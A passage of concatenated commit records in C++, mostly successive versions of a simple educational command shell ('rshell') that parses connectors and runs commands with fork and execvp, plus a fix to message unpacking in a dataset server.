else // Tries to execute the command
{
success = true;
if((pid = fork()) < 0) // Forks a child process
{
perror("Forking child process faield");
exit(1);
}
else if(pid == 0)
{
// Execute the command
if(execvp(*argv[i], argv[i]) < 0)
{
perror(*argv[i]);
success = false;
exit(1);
}
else
{
success = true;
}
}
else // For the parent:
{
while(wait(&status) != pid) // Wait for completion
{
if(wait(&status) == -1)
{
perror("Wait error");
}
}
}
if(conAnd || conOr)
{
conAnd = false;
conOr = false;
}
}
}
return;
}
<commit_msg>added a strtok in the parser command<commit_after>#include "rshell.h"
#include <iostream>
#include <string>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <cstdio>
#include <cstring>
#include <vector>
#include <sstream>
using namespace std;
// Constructors
// Default constructor (creates an Rshell object for commands)
Rshell::Rshell()
{}
// Rshell functions
// These functions takes command input from the user and parses them
// parseCommand(string& input, char line[][256], char* argv[][64]) -
// parses out whitespace and puts charaters from string into array of char
void Rshell::parseCommand(string& input, char line[][256], char* argv[][64])
{
unsigned row = 0;
unsigned col = 0;
bool quote = false; // Has a flag if the argument is in quotations
clearArray(line); // Cleans array
// Parses string into the array (takes out whitespace)
for(unsigned i = 0; i < input.size(); ++i)
{
if(!quote)
{
if(input.at(i) == '#') // Finishes with a comment
{
break;
}
if((input.at(i) == ' ') || (input.at(i) == '\t') ||
(input.at(i) == '\n')) // Replaces whitespace with ' ' if dne
{
if((col > 0) &&
!((input.at(i + 1) == '&') ||
(input.at(i + 1) == '|') ||
(input.at(i + 1) == ';'))) // Makes sure !connector
{
if(line[row][col-1] != ' ')
{
line[row][col] = ' ';
++col;
}
}
}
else if(input.at(i) == ';') // Treat ';' as a newline
{
row++;
col = 0;
}
else if(input.at(i) == '&') // Checks for &&
{
parseConnect(input, i, line, '&', row, col);
}
else if(input.at(i) == '|') // Checks for ||
{
parseConnect(input, i, line, '|', row, col);
}
else // Any other character
{
line[row][col] = input.at(i);
col++;
if(input.at(i) == '"') // Checks for "
{
quote = true;
}
}
}
else // Character is in quotes
{
line[row][col] = input.at(i);
col++;
if(input.at(i) == '"')
{
quote = false;
}
}
}
// Sets up the argv array
row = 0;
col = 0;
quote = false;
clearArrayP(argv);
/*
// Uses strtok to replace any ' ' with \0
char* pch;
for(unsigned i = 0; line[i][0] != '\0'; ++i)
{
col = 0;
argv[row][col] = &line[i][0];
pch = strtok(line[i], " ");
while(pch != NULL) // Keeps going until '\0' is found
{
argv[row][col] = pch;
++col;
pch = strtok(NULL, " ");
}
++row;
}
*/
// Looks thrugh line and replaces any ' ' with \0'
for(unsigned i = 0; line[i][0] != '\0'; ++i)
{
for(unsigned j = 0; line[i][j] != '\0'; ++j)
{
if(j == 0) // Gets the command
{
argv[row][col] = &line[i][j];
++col;
}
if(!quote && (line[i][j] == ' ')) // Replaces space with '\0'
{
line[i][j] = '\0';
argv[row][col] = &line[i][j + 1];
++col;
}
if(line[i][j] == '"') // Triggers quotes
{
quote = !quote;
}
}
++row; // Goes to the next row
col = 0;
}
return;
}
// void parseConnect(string&, unsigned, char [][], char, unsigned&, unsigned&)-
// checks if an '&' or '|' is a connector or not
void Rshell::parseConnect(string& input, unsigned pos, char line[][256], char con, unsigned& row, unsigned& col)
{
if(col == 1)
{
line[row][col] = input.at(pos);
col++;
if(line[row][0] == con) // if prev char is connector
{
row++;
col = 0;
}
}
else
{
if(input.at(pos + 1) == con) // if next char is connector
{
row++;
col = 0;
}
line[row][col] = input.at(pos);
col++;
}
return;
}
// void clearArray(char line[100][256]) - puts '\0' for all spots in the array
void Rshell::clearArray(char line[][256])
{
for(unsigned row = 0; line[row][0] != '\0'; ++row)
{
for(unsigned col = 0; col < 256; ++col)
{
line[row][col] = '\0';
}
}
return;
}
// void clearArrayP(char* argv[][]) - puts '\0' for all spots in the pointer
// array
void Rshell::clearArrayP(char* argv[][64])
{
for(unsigned row = 0; argv[row][0] != '\0'; ++row)
{
for(unsigned col = 0; argv[row][col] != '\0'; ++col)
{
argv[row][col] = '\0';
}
}
return;
}
// void executeCommand(char* argv[][]) - takes the array of commands and
// executes them
void Rshell::executeCommand(char line[][256], char* argv[][64], bool bye)
{
pid_t pid;
int status;
bool conAnd = false; // '&&'
bool conOr = false; // '||'
bool success = true; // If previous command was successful
for(unsigned i = 0; argv[i][0] != '\0'; ++i)
{
// Check for exit
if((line[i][0] == 'e') && (line[i][1] == 'x') && (line[i][2] == 'i') &&
(line[i][3] == 't'))
{
if(!((conAnd && !success) || (conOr && success)))
{
bye = true;
cout << "logout" << endl;
exit(0);
}
}
// Check for connectors
if(line[i][0] == '&') // Found an AND connector
{
conAnd = true;
}
else if(line[i][0] == '|') // Found an OR connector
{
conOr = true;
}
else if((conAnd && !success) || (conOr && success)) // No connect
{
conAnd = false;
conOr = false;
}
else // Tries to execute the command
{
success = true;
if((pid = fork()) < 0) // Forks a child process
{
perror("Forking child process faield");
exit(1);
}
else if(pid == 0)
{
// Execute the command
if(execvp(*argv[i], argv[i]) < 0)
{
perror(*argv[i]);
success = false;
exit(1);
}
else
{
success = true;
}
}
else // For the parent:
{
while(wait(&status) != pid) // Wait for completion
{
if(wait(&status) == -1)
{
perror("Wait error");
}
}
}
if(conAnd || conOr)
{
conAnd = false;
conOr = false;
}
}
}
return;
}
<|endoftext|> |
<commit_before>#include <iostream>
#include <vector>
#include <string>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <string.h>
#include <boost/tokenizer.hpp>
using namespace std;
using namespace boost;
int syntaxCheck(vector<string>&vect);
bool isConnector(string&);
bool validConnector(string&);
void executor(vector<string> &vect);
void commandParser(vector<string> &v, string str);
typedef tokenizer<char_separator<char> > toknizer;
int main()
{
while(1)
{
//prints simple prompt, gets user input
cout << "$ ";
string userinput;
getline(cin,userinput);
//declares tokenizer and storage for tokens
string cmd=""; //gathers entire command until connector or end
string cnntr=""; //will hold connector
vector<string> cmdvect;
char_separator<char> delim("","&|#;");
toknizer parser(userinput,delim);
for(toknizer::iterator it=parser.begin();it!=parser.end();++it)
{
if(*it=="#") { break; } //finish reading input if comment
if(*it=="&" || *it=="|" || *it==";")
{
if(!cmd.empty())
{
cmdvect.push_back(cmd);
cmd.clear();
cnntr+=(*it);
}
else if(cmd.empty() && !cnntr.empty())
{
cnntr+=(*it);
}
}
//if none of cases above apply, can be assumed to be command
else
{
if(!cnntr.empty())
{
cmdvect.push_back(cnntr);
cmd+=(*it);
cnntr.clear();
//"empties" connector and resumes building command
}
else //otherwise, just keep building command
{
cmd+=(*it);
cmd+=" "; //spaces out commands like "ls -a"
}
}
} //end tokenizer loop
if(!cmd.empty())
{
cmdvect.push_back(cmd); //adds last of input
}
if(!cnntr.empty())
{
cmdvect.push_back(cnntr);//and trailing connectors
}
int x=syntaxCheck(cmdvect);
if(x==0)
{
executor(cmdvect);
}
}
//end of while loop
return 0;
} //end of main
void executor(vector<string> &vect)
{
bool success=false;
bool preArg=false;
for(unsigned i=0;i<vect.size();++i)
{
if(vect.at(i)=="exit")
{
cout << "is exit" << endl;
}
//checks if current string is connector
else if(isConnector(vect.at(i)))
{
if(vect.at(i)=="&&")
{
if(success==false || i==0 || preArg==false)
{
return;
}
else { preArg=false; continue; }
}
if(vect.at(i)=="||")
{
if(success==false && i!=0)
{
continue;
}
else if(success==true || i==0 || preArg==false) { return; }
}
if(vect.at(i)==";" && i!=0)
{
continue;
}
}
else
{
preArg=true;
}
//otherwise can be assumed to be a command
//parse vect.at(i) into smaller vector
vector<string>argvect;
commandParser(argvect,vect.at(i));
//store vector size for array allocation
const size_t sz=argvect.size();
char**argv=new char*[sz+1]; //REMEMBER- delete at end
for(unsigned j=0;j<sz+1;++j)
{
if(j<sz)//using strdup since it dynamically allocates on its own
{
argv[j]=strdup(argvect.at(j).c_str());
}
else if(j==sz) //adds null at end
{
argv[j]=NULL;
}
}
//fork and attempt to execute using execvp
pid_t pid=fork();
if(pid==-1) //error with fork
{
perror("fork");
exit(1);
}
else if(pid==0) //child
{
if(execvp(argv[0],argv)==-1)
{
success=false; //redundant maybe?
perror("execvp");
exit(1);
}
_exit(0);
}
else //parent
{
if(wait(0)==-1)
{
perror("wait");
exit(1);
}
success=true;
}
//deallocates argv as well as strdup's dynamic memory
for(unsigned i=0;i<sz+1;++i)
{
delete [] argv[i];
}
delete [] argv;
}
return;
}
void commandParser(vector<string> &v, string str)
{
char_separator<char> delim(" ");
toknizer parser(str,delim);
for(toknizer::iterator it=parser.begin();it!=parser.end();++it)
{
if(*it=="exit")
{
exit(0);
}
v.push_back(*it);
}
return;
}
int syntaxCheck(vector<string> &vect)
{
//checks input for invalid syntax in connectors
for(unsigned i=0; i<vect.size();++i)
{
if(isConnector(vect.at(i)))
{
//ensures argument for && and || is complete
if((i==0 || i+1==vect.size()) && vect.at(i)!=";")
{
cout << "Connector syntax error: missing argument\n";
return -1;
}
if(!validConnector(vect.at(i)))
{
cout << "Connector syntax error: invalid connector\n";
return -1;
}
}
}
return 0; //no syntax errors found
}
bool isConnector(string &s)
{
//function just checks if token is supposed to be a connector
size_t i=s.find("&");
size_t j=s.find("|");
size_t k=s.find(";");
if(i==string::npos && j==string::npos && k==string::npos)
{
return false;
}
return true;
}
bool validConnector(string &str)
{
//only supports few connectors now
if(str=="&&") { return true; }
else if(str=="||") { return true;}
else if(str==";") { return true;}
return false;
}
<commit_msg>cout updated to cerr<commit_after>#include <iostream>
#include <vector>
#include <string>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <string.h>
#include <boost/tokenizer.hpp>
using namespace std;
using namespace boost;
int syntaxCheck(vector<string>&vect);
bool isConnector(string&);
bool validConnector(string&);
void executor(vector<string> &vect);
void commandParser(vector<string> &v, string str);
typedef tokenizer<char_separator<char> > toknizer;
int main()
{
while(1)
{
//prints simple prompt, gets user input
cout << "$ ";
string userinput;
getline(cin,userinput);
//declares tokenizer and storage for tokens
string cmd=""; //gathers entire command until connector or end
string cnntr=""; //will hold connector
vector<string> cmdvect;
char_separator<char> delim("","&|#;");
toknizer parser(userinput,delim);
for(toknizer::iterator it=parser.begin();it!=parser.end();++it)
{
if(*it=="#") { break; } //finish reading input if comment
if(*it=="&" || *it=="|" || *it==";")
{
if(!cmd.empty())
{
cmdvect.push_back(cmd);
cmd.clear();
cnntr+=(*it);
}
else if(cmd.empty() && !cnntr.empty())
{
cnntr+=(*it);
}
}
//if none of cases above apply, can be assumed to be command
else
{
if(!cnntr.empty())
{
cmdvect.push_back(cnntr);
cmd+=(*it);
cnntr.clear();
//"empties" connector and resumes building command
}
else //otherwise, just keep building command
{
cmd+=(*it);
cmd+=" "; //spaces out commands like "ls -a"
}
}
} //end tokenizer loop
if(!cmd.empty())
{
cmdvect.push_back(cmd); //adds last of input
}
if(!cnntr.empty())
{
cmdvect.push_back(cnntr);//and trailing connectors
}
int x=syntaxCheck(cmdvect);
if(x==0)
{
executor(cmdvect);
}
}
//end of while loop
return 0;
} //end of main
void executor(vector<string> &vect)
{
bool success=false;
bool preArg=false;
for(unsigned i=0;i<vect.size();++i)
{
if(vect.at(i)=="exit")
{
cout << "is exit" << endl;
}
//checks if current string is connector
else if(isConnector(vect.at(i)))
{
if(vect.at(i)=="&&")
{
if(success==false || i==0 || preArg==false)
{
return;
}
else { preArg=false; continue; }
}
if(vect.at(i)=="||")
{
if(success==false && i!=0)
{
continue;
}
else if(success==true || i==0 || preArg==false) { return; }
}
if(vect.at(i)==";" && i!=0)
{
continue;
}
}
else
{
preArg=true;
}
//otherwise can be assumed to be a command
//parse vect.at(i) into smaller vector
vector<string>argvect;
commandParser(argvect,vect.at(i));
//store vector size for array allocation
const size_t sz=argvect.size();
char**argv=new char*[sz+1]; //REMEMBER- delete at end
for(unsigned j=0;j<sz+1;++j)
{
if(j<sz)//using strdup since it dynamically allocates on its own
{
argv[j]=strdup(argvect.at(j).c_str());
}
else if(j==sz) //adds null at end
{
argv[j]=NULL;
}
}
//fork and attempt to execute using execvp
pid_t pid=fork();
if(pid==-1) //error with fork
{
perror("fork");
exit(1);
}
else if(pid==0) //child
{
if(execvp(argv[0],argv)==-1)
{
success=false; //redundant maybe?
perror("execvp");
exit(1);
}
_exit(0);
}
else //parent
{
if(wait(0)==-1)
{
perror("wait");
exit(1);
}
success=true;
}
//deallocates argv as well as strdup's dynamic memory
for(unsigned i=0;i<sz+1;++i)
{
delete [] argv[i];
}
delete [] argv;
}
return;
}
void commandParser(vector<string> &v, string str)
{
char_separator<char> delim(" ");
toknizer parser(str,delim);
for(toknizer::iterator it=parser.begin();it!=parser.end();++it)
{
if(*it=="exit")
{
exit(0);
}
v.push_back(*it);
}
return;
}
int syntaxCheck(vector<string> &vect)
{
//checks input for invalid syntax in connectors
for(unsigned i=0; i<vect.size();++i)
{
if(isConnector(vect.at(i)))
{
//ensures argument for && and || is complete
if((i==0 || i+1==vect.size()) && vect.at(i)!=";")
{
cerr << "Connector syntax error: missing argument\n";
return -1;
}
if(!validConnector(vect.at(i)))
{
cerr << "Connector syntax error: invalid connector\n";
return -1;
}
}
}
return 0; //no syntax errors found
}
bool isConnector(string &s)
{
//function just checks if token is supposed to be a connector
size_t i=s.find("&");
size_t j=s.find("|");
size_t k=s.find(";");
if(i==string::npos && j==string::npos && k==string::npos)
{
return false;
}
return true;
}
bool validConnector(string &str)
{
//only supports few connectors now
if(str=="&&") { return true; }
else if(str=="||") { return true;}
else if(str==";") { return true;}
return false;
}
<|endoftext|> |
<commit_before>#include "rshell.h"
#include <iostream>
#include <string>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <cstdio>
#include <cstring>
#include <vector>
#include <sstream>
using namespace std;
// Constructors
// Default constructor (creates an Rshell object for commands)
Rshell::Rshell()
{}
// Rshell functions
// These functions takes command input from the user and parses them
// parseCommand(string& input, char line[][256], char* argv[][64]) -
// parses out whitespace and puts charaters from string into array of char
void Rshell::parseCommand(string& input, char line[][256], char* argv[][64])
{
unsigned row = 0;
unsigned col = 0;
bool quote = false; // Has a flag if the argument is in quotations
clearArray(line); // Cleans array
// Parses string into the array (takes out whitespace)
for(unsigned i = 0; i < input.size(); ++i)
{
if(!quote)
{
if(input.at(i) == '#') // Finishes with a comment
{
break;
}
if((input.at(i) == ' ') || (input.at(i) == '\t') ||
(input.at(i) == '\n')) // Replaces whitespace with ' ' if dne
{
if((col > 0) &&
!((input.at(i + 1) == '&') ||
(input.at(i + 1) == '|') ||
(input.at(i + 1) == ';'))) // Makes sure !connector
{
if(line[row][col-1] != ' ')
{
line[row][col] = ' ';
++col;
}
}
}
else if(input.at(i) == ';') // Treat ';' as a newline
{
row++;
col = 0;
}
else if(input.at(i) == '&') // Checks for &&
{
parseConnect(input, i, line, '&', row, col);
}
else if(input.at(i) == '|') // Checks for ||
{
parseConnect(input, i, line, '|', row, col);
}
else // Any other character
{
line[row][col] = input.at(i);
col++;
if(input.at(i) == '"') // Checks for "
{
quote = true;
}
}
}
else // Character is in quotes
{
line[row][col] = input.at(i);
col++;
if(input.at(i) == '"')
{
quote = false;
}
}
}
// Sets up the argv array
row = 0;
col = 0;
quote = false;
clearArrayP(argv);
/*
// Uses strtok to replace any ' ' with \0
char* pch;
for(unsigned i = 0; line[i][0] != '\0'; ++i)
{
col = 0;
argv[row][col] = &line[i][0];
pch = strtok(line[i], " ");
while(pch != NULL) // Keeps going until '\0' is found
{
argv[row][col] = pch;
++col;
pch = strtok(NULL, " ");
}
++row;
}
*/
// Looks thrugh line and replaces any ' ' with \0'
for(unsigned i = 0; line[i][0] != '\0'; ++i)
{
for(unsigned j = 0; line[i][j] != '\0'; ++j)
{
if(j == 0) // Gets the command
{
argv[row][col] = &line[i][j];
++col;
}
if(!quote && (line[i][j] == ' ')) // Replaces space with '\0'
{
line[i][j] = '\0';
argv[row][col] = &line[i][j + 1];
++col;
}
if(line[i][j] == '"') // Triggers quotes
{
quote = !quote;
}
}
++row; // Goes to the next row
col = 0;
}
return;
}
// void parseConnect(string&, unsigned, char [][], char, unsigned&, unsigned&)-
// checks if an '&' or '|' is a connector or not
void Rshell::parseConnect(string& input, unsigned pos, char line[][256], char con, unsigned& row, unsigned& col)
{
if(col == 1)
{
line[row][col] = input.at(pos);
col++;
if(line[row][0] == con) // if prev char is connector
{
row++;
col = 0;
}
}
else
{
if(input.at(pos + 1) == con) // if next char is connector
{
row++;
col = 0;
}
line[row][col] = input.at(pos);
col++;
}
return;
}
// void clearArray(char line[100][256]) - puts '\0' for all spots in the array
void Rshell::clearArray(char line[][256])
{
for(unsigned row = 0; line[row][0] != '\0'; ++row)
{
for(unsigned col = 0; col < 256; ++col)
{
line[row][col] = '\0';
}
}
return;
}
// void clearArrayP(char* argv[][]) - puts '\0' for all spots in the pointer
// array
void Rshell::clearArrayP(char* argv[][64])
{
for(unsigned row = 0; argv[row][0] != '\0'; ++row)
{
for(unsigned col = 0; argv[row][col] != '\0'; ++col)
{
argv[row][col] = '\0';
}
}
return;
}
// void executeCommand(char* argv[][]) - takes the array of commands and
// executes them
void Rshell::executeCommand(char line[][256], char* argv[][64], bool bye)
{
pid_t pid;
int status;
bool conAnd = false; // '&&'
bool conOr = false; // '||'
bool success = true; // If previous command was successful
for(unsigned i = 0; argv[i][0] != '\0'; ++i)
{
// Check for exit
if((line[i][0] == 'e') && (line[i][1] == 'x') && (line[i][2] == 'i') &&
(line[i][3] == 't'))
{
if(!((conAnd && !success) || (conOr && success)))
{
bye = true;
cout << "logout" << endl;
exit(0);
}
}
// Check for connectors
if(line[i][0] == '&') // Found an AND connector
{
conAnd = true;
}
else if(line[i][0] == '|') // Found an OR connector
{
conOr = true;
}
else if((conAnd && !success) || (conOr && success)) // No connect
{
conAnd = false;
conOr = false;
}
else // Tries to execute the command
{
// success = true;
if((pid = fork()) < 0) // Forks a child process
{
perror("Forking child process faield");
exit(1);
}
else if(pid == 0)
{
// Execute the command
if(execvp(*argv[i], argv[i]) < 0)
{
perror(*argv[i]);
success = false;
}
}
else // For the parent:
{
while(wait(&status) != pid) // Wait for completion
{
if(wait(&status) == -1)
{
perror("Wait error");
}
}
}
if(conAnd || conOr)
{
conAnd = false;
conOr = false;
}
}
}
return;
}
<commit_msg>put in some precedence parsing<commit_after>#include "rshell.h"
#include <iostream>
#include <string>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <cstdio>
#include <cstring>
#include <vector>
#include <sstream>
#include <stack>
using namespace std;
// Constructors
// Default constructor (creates an Rshell object for commands)
Rshell::Rshell()
{}
// Rshell functions
// These functions takes command input from the user and parses them
// parseCommand(string& input, char line[][256], char* argv[][64]) -
// parses out whitespace and puts charaters from string into array of char
void Rshell::parseCommand(string& input, char line[][256], char* argv[][64])
{
unsigned row = 0;
unsigned col = 0;
bool quote = false; // Has a flag if the argument is in quotations
clearArray(line); // Cleans array
// Parses string into the array (takes out whitespace)
for(unsigned i = 0; i < input.size(); ++i)
{
if(!quote)
{
if(input.at(i) == '#') // Finishes with a comment
{
break;
}
if((input.at(i) == ' ') || (input.at(i) == '\t') ||
(input.at(i) == '\n')) // Replaces whitespace with ' ' if DNE
{
if((col > 0) &&
!((input.at(i + 1) == '&') ||
(input.at(i + 1) == '|') ||
(input.at(i + 1) == ';'))) // Makes sure !connector
{
if(line[row][col-1] != ' ')
{
line[row][col] = ' ';
++col;
}
}
}
else if((input.at(i) == '(') ||
(input.at(i) == ')')) // Gets precedence '(' or ')'
{
row++;
col = 0;
line[row][col] = input.at(i);
row++;
}
else if(input.at(i) == ';') // Treat ';' as a newline
{
row++;
col = 0;
}
else if(input.at(i) == '&') // Checks for &&
{
parseConnect(input, i, line, '&', row, col);
}
else if(input.at(i) == '|') // Checks for ||
{
parseConnect(input, i, line, '|', row, col);
}
else // Any other character
{
line[row][col] = input.at(i);
col++;
if(input.at(i) == '"') // Checks for "
{
quote = true;
}
}
}
else // Character is in quotes
{
line[row][col] = input.at(i);
col++;
if(input.at(i) == '"')
{
quote = false;
}
}
}
// Sets up the argv array
row = 0;
col = 0;
quote = false;
clearArrayP(argv);
/*
// Uses strtok to replace any ' ' with \0
char* pch;
for(unsigned i = 0; line[i][0] != '\0'; ++i)
{
col = 0;
argv[row][col] = &line[i][0];
pch = strtok(line[i], " ");
while(pch != NULL) // Keeps going until '\0' is found
{
argv[row][col] = pch;
++col;
pch = strtok(NULL, " ");
}
++row;
}
*/
// Looks thrugh line and replaces any ' ' with \0'
for(unsigned i = 0; line[i][0] != '\0'; ++i)
{
for(unsigned j = 0; line[i][j] != '\0'; ++j)
{
if(j == 0) // Gets the command
{
argv[row][col] = &line[i][j];
++col;
}
if(!quote && (line[i][j] == ' ')) // Replaces space with '\0'
{
line[i][j] = '\0';
argv[row][col] = &line[i][j + 1];
++col;
}
if(line[i][j] == '"') // Triggers quotes
{
quote = !quote;
}
}
++row; // Goes to the next row
col = 0;
}
return;
}
// void parseConnect(string&, unsigned, char [][], char, unsigned&, unsigned&)-
// checks if an '&' or '|' is a connector or not
void Rshell::parseConnect(string& input, unsigned pos, char line[][256], char con, unsigned& row, unsigned& col)
{
if(col == 1)
{
line[row][col] = input.at(pos);
col++;
if(line[row][0] == con) // if prev char is connector
{
row++;
col = 0;
}
}
else
{
if(input.at(pos + 1) == con) // if next char is connector
{
row++;
col = 0;
}
line[row][col] = input.at(pos);
col++;
}
return;
}
// void clearArray(char line[100][256]) - puts '\0' for all spots in the array
void Rshell::clearArray(char line[][256])
{
for(unsigned row = 0; line[row][0] != '\0'; ++row)
{
for(unsigned col = 0; col < 256; ++col)
{
line[row][col] = '\0';
}
}
return;
}
// void clearArrayP(char* argv[][]) - puts '\0' for all spots in the pointer
// array
void Rshell::clearArrayP(char* argv[][64])
{
for(unsigned row = 0; argv[row][0] != '\0'; ++row)
{
for(unsigned col = 0; argv[row][col] != '\0'; ++col)
{
argv[row][col] = '\0';
}
}
return;
}
// void executeCommand(char* argv[][]) - takes the array of commands and
// executes them
void Rshell::executeCommand(char line[][256], char* argv[][64], bool bye)
{
pid_t pid;
int status;
bool conAnd = false; // '&&'
bool conOr = false; // '||'
bool success = true; // If previous command was successful
stack <char> prec; // Checks for precedence
for(unsigned i = 0; argv[i][0] != '\0'; ++i)
{
// Check for exit
if((line[i][0] == 'e') && (line[i][1] == 'x') && (line[i][2] == 'i') &&
(line[i][3] == 't'))
{
if(!((conAnd && !success) || (conOr && success)))
{
bye = true;
cout << "logout" << endl;
exit(0);
}
}
// Check for precedence
else if(line[i][0] == '(') // Gets first parenthesis
{
prec.push(line[i][0]);
continue;
}
else if(line[i][0] == ')') // Gets the second parenthesis
{
if(!prec.empty())
{
prec.pop();
}
else
{
cout << "Syntax error! Extra ')'" << endl;
}
continue;
}
// Check for connectors
else if(line[i][0] == '&') // Found an AND connector
{
conAnd = true;
}
else if(line[i][0] == '|') // Found an OR connector
{
conOr = true;
}
else if((conAnd && !success) || (conOr && success)) // No connect
{
conAnd = false;
conOr = false;
continue;
}
else // Tries to execute the command
{
if((pid = fork()) < 0) // Forks a child process
{
perror("Forking child process failed");
exit(1);
}
else if(pid == 0)
{
// Execute the command
if(execvp(*argv[i], argv[i])< 0)
{
success = false;
perror(*argv[i]);
}
}
else // For the parent:
{
while(wait(&status) != pid) // Wait for completion
{
if(wait(&status) == -1)
{
perror("Wait error");
}
}
}
if(conAnd || conOr)
{
conAnd = false;
conOr = false;
}
}
}
return;
}
<|endoftext|> |
<commit_before>/**
* Copyright (C) 2013 Tadas Vilkeliskis <vilkeliskis.t@gmail.com>
*
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
* of the Software, and to permit persons to whom the Software is furnished to do
* so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include <cassert>
#include "service/dataset_manager.h"
#include "transport/response.h"
#include "transport/command/dsnew.h"
#include "db/dataset.h"
namespace chimp {
namespace transport {
namespace command {
DatasetNew::DatasetNew(chimp::transport::Client *client)
{
client_ = client;
}
int DatasetNew::Execute()
{
auto dsmanager = chimp::service::DatasetManager::GetInstance();
if (dsmanager->DatasetExists(name_)) {
response_.reset(new chimp::transport::response::ErrorResponse(
chimp::transport::response::RESPONSE_CODE_USER_ERROR,
"dataset exists"));
client_->Write(response_);
return 0;
}
std::shared_ptr<chimp::db::dataset::AbstractDataset> dataset(new chimp::db::dataset::Dataset(name_, num_columns_));
if (dsmanager->AddDataset(dataset) != 0) {
response_.reset(new chimp::transport::response::ErrorResponse(
chimp::transport::response::RESPONSE_CODE_SERVER_ERROR,
"failed to create dataset"));
client_->Write(response_);
return 0;
}
response_.reset(new chimp::transport::response::SuccessResponse());
client_->Write(response_);
return 0;
}
int DatasetNew::FromMessagePack(const msgpack_unpacked *msg)
{
assert(msg);
if (msg->data.type != MSGPACK_OBJECT_ARRAY) {
return -1;
}
if (msg->data.via.array.size != 3 ||
msg->data.via.array.ptr[0].type != MSGPACK_OBJECT_RAW ||
msg->data.via.array.ptr[1].type != MSGPACK_OBJECT_RAW ||
msg->data.via.array.ptr[2].type != MSGPACK_OBJECT_POSITIVE_INTEGER) {
return -1;
}
name_ = std::string(msg->data.via.array.ptr[1].via.raw.ptr,
msg->data.via.array.ptr[1].via.raw.size);
num_columns_ = msg->data.via.array.ptr[1].via.u64;
return 0;
}
msgpack_sbuffer *DatasetNew::ToMessagePack()
{
msgpack_sbuffer* buffer = msgpack_sbuffer_new();
msgpack_packer* pk = msgpack_packer_new(buffer, msgpack_sbuffer_write);
msgpack_pack_array(pk, 3);
msgpack_pack_raw(pk, 5);
msgpack_pack_raw_body(pk, "DSNEW", 5);
msgpack_pack_raw(pk, name_.size());
msgpack_pack_raw_body(pk, name_.c_str(), name_.size());
msgpack_pack_unsigned_int(pk, num_columns_);
msgpack_packer_free(pk);
return buffer;
}
}
}
}
<commit_msg>correctlly unserialize dslist message<commit_after>/**
* Copyright (C) 2013 Tadas Vilkeliskis <vilkeliskis.t@gmail.com>
*
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
* of the Software, and to permit persons to whom the Software is furnished to do
* so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include <cassert>
#include "service/dataset_manager.h"
#include "transport/response.h"
#include "transport/command/dsnew.h"
#include "db/dataset.h"
namespace chimp {
namespace transport {
namespace command {
DatasetNew::DatasetNew(chimp::transport::Client *client)
{
client_ = client;
}
int DatasetNew::Execute()
{
auto dsmanager = chimp::service::DatasetManager::GetInstance();
if (dsmanager->DatasetExists(name_)) {
response_.reset(new chimp::transport::response::ErrorResponse(
chimp::transport::response::RESPONSE_CODE_USER_ERROR,
"dataset exists"));
client_->Write(response_);
return 0;
}
std::shared_ptr<chimp::db::dataset::AbstractDataset> dataset(new chimp::db::dataset::Dataset(name_, num_columns_));
if (dsmanager->AddDataset(dataset) != 0) {
response_.reset(new chimp::transport::response::ErrorResponse(
chimp::transport::response::RESPONSE_CODE_SERVER_ERROR,
"failed to create dataset"));
client_->Write(response_);
return 0;
}
response_.reset(new chimp::transport::response::SuccessResponse());
client_->Write(response_);
return 0;
}
int DatasetNew::FromMessagePack(const msgpack_unpacked *msg)
{
assert(msg);
if (msg->data.type != MSGPACK_OBJECT_ARRAY) {
return -1;
}
if (msg->data.via.array.size != 3 ||
msg->data.via.array.ptr[0].type != MSGPACK_OBJECT_RAW ||
msg->data.via.array.ptr[1].type != MSGPACK_OBJECT_RAW ||
msg->data.via.array.ptr[2].type != MSGPACK_OBJECT_POSITIVE_INTEGER) {
return -1;
}
name_ = std::string(msg->data.via.array.ptr[1].via.raw.ptr,
msg->data.via.array.ptr[1].via.raw.size);
num_columns_ = msg->data.via.array.ptr[2].via.u64;
return 0;
}
msgpack_sbuffer *DatasetNew::ToMessagePack()
{
msgpack_sbuffer* buffer = msgpack_sbuffer_new();
msgpack_packer* pk = msgpack_packer_new(buffer, msgpack_sbuffer_write);
msgpack_pack_array(pk, 3);
msgpack_pack_raw(pk, 5);
